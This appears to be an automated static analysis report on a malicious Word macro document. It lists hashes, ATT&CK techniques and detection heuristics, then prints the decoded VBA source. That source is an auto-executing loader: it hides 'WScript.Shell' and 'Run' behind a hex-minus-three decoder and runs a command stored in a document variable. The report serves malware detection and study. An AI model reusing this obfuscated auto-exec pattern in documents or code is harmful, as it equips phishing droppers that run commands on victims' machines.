Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9a803fb30cd79014…

MALICIOUS

Office (OLE)

52.5 KB Created: 2018-06-10 18:21:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 53303f18cdb2e76286ad2f280408f6f7 SHA-1: 3ff0e3413f54591ba2a49e53ac0e9548c97d0c93 SHA-256: 9a803fb30cd79014082a358b839848b5f8305e8410fecb7da3b12415f2fca4e7
362 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains heavily obfuscated VBA macros, including auto-executing Document_Open and Workbook_Open routines. These routines use CreateObject and CallByName to execute commands, indicating a loader or dropper functionality. The presence of a macro-enable lure in the document body further supports this malicious intent. The ClamAV detection of 'Xls.Malware.Valyria-6700357-0' suggests a known malware variant.

Heuristics 10

  • ClamAV: Xls.Malware.Valyria-6700357-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-6700357-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://globalnews.ca/tag/university-of-saskatchewan/ In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2459 bytes
SHA-256: 1b6c540255e441fc3211f02a4c118b839274b1e5285112429c6037258a56e4c1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function QBYTKJ() As String
Dim aQBYTKJ As String
aQBYTKJ = "9A37944D3371A93B71717E715071736D714E7A71717771957154A871715E8571A1719467713DA2927D71718B367171"
Dim myQBYTKJ = aQBYTKJ
Dim myMsgBox(Right(aQBYTKJ & myQBYTKJ, 28))
End Function

Public Sub Document_Open()
    Application.Run XV_("5D5D594562")
End Sub
Private Function RSCAXH() As String
Dim aRSCAXH As String
aRSCAXH = "9A37944D3371A93B71717E715071736D714E7A71717771957154A871715E8571A1719467713DA2927D71718B367171"
Dim myRSCAXH = aRSCAXH
Dim myMsgBox(Right(aRSCAXH & myRSCAXH, 28))
End Function

Sub ZZVB_()
    EP_
End Sub
Private Function IWISNL() As String
Dim aIWISNL As String
aIWISNL = "9A37944D3371A93B71717E715071736D714E7A71717771957154A871715E8571A1719467713DA2927D71718B367171"
Dim myIWISNL = aIWISNL
Dim myMsgBox(Right(aIWISNL & myIWISNL, 28))
End Function

Public Sub EP_()
    Dim F_ As Object: Set F_ = VBA.CreateObject(XV_("5A5666756C737731566B686F6F"))
    CallByName F_, XV_("557871"), VbMethod, XV_(ActiveDocument.Variables("XTHXJHYW").Value), 0, True
End Sub
Private Function QWUPCS() As String
Dim aQWUPCS As String
aQWUPCS = "9A37944D3371A93B71717E715071736D714E7A71717771957154A871715E8571A1719467713DA2927D71718B367171"
Dim myQWUPCS = aQWUPCS
Dim myMsgBox(Right(aQWUPCS & myQWUPCS, 28))
End Function

Sub Workbook_Open()
    Application.Run "ThisWorkbook." & XV_("5D5D594562")
End Sub
Private Function GYALUU() As String
Dim aGYALUU As String
aGYALUU = "9A37944D3371A93B71717E715071736D714E7A71717771957154A871715E8571A1719467713DA2927D71718B367171"
Dim myGYALUU = aGYALUU
Dim myMsgBox(Right(aGYALUU & myGYALUU, 28))
End Function

Public Function XV_(ByVal F_ As String)
   Dim CO_ As String
   Dim DSN_ As Long
   For DSN_ = 1 To Len(F_) Step 2
        CO_ = CO_ & Chr(CLng(Chr(38) & Chr(72) & Mid(F_, DSN_, 2)) - 3)
   Next
   XV_ = CO_
End Function
Private Function XPYSOK() As String
Dim aXPYSOK As String
aXPYSOK = "9A37944D3371A93B71717E715071736D714E7A71717771957154A871715E8571A1719467713DA2927D71718B367171"
Dim myXPYSOK = aXPYSOK
Dim myMsgBox(Right(aXPYSOK & myXPYSOK, 28))
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.